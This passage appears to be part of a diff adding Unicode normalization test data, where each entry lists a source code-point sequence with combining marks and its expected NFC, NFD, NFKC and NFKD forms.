+{ source: [0x0061, 0x1E018, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E020, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E020, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E020, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E020, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E020, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E020, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E021, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E021, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E021, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E021, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E021, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E021, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E023, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E023, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E023, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E023, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E023, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E023, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E024, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E024, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E024, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E024, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E024, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E024, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E026, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E026, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E026, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E026, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E026, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E026, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E027, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E027, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E027, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E027, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E027, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E027, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E028, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E028, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E028, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E028, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E028, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E028, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E029, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E029, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E029, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E029, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E029, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E029, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E02A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E02A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E02A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E02A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E02A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E02A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E130, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E130, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E130, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E130, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E130, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E130, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E130, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E130, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E130, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E130, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E131, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E131, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E131, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E131, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E131, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E131, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E131, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E131, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E131, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E131, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E132, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E132, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E132, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E132, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E132, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E132, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E132, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E132, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E132, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E132, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E133, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E133, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E133, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E133, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E133, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E133, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E133, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E133, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E133, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E133, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E134, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E134, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E134, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E134, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E134, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E134, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E134, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E134, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E134, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E134, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E135, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E135, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E135, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E135, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E135, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E135, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E135, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E135, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E135, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E135, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E136, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E136, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E136, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E136, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E136, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E136, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E136, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E136, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E136, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E136, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2ED, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2ED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2ED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2ED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2ED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2ED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2ED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2ED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2ED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2ED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2EE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2EE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2EE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2EE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2EE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2EE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2EE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2EE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2EE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2EE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2EF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D0, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D0, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D1, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D1, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D1, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D1, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D2, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D2, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D4, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D4, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D4, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E944, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E944, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E944, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E944, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E944, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E944, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E945, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E945, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E945, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E945, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E945, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E945, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E946, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E946, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E946, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E946, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E946, 0x0315, 0x0062] },
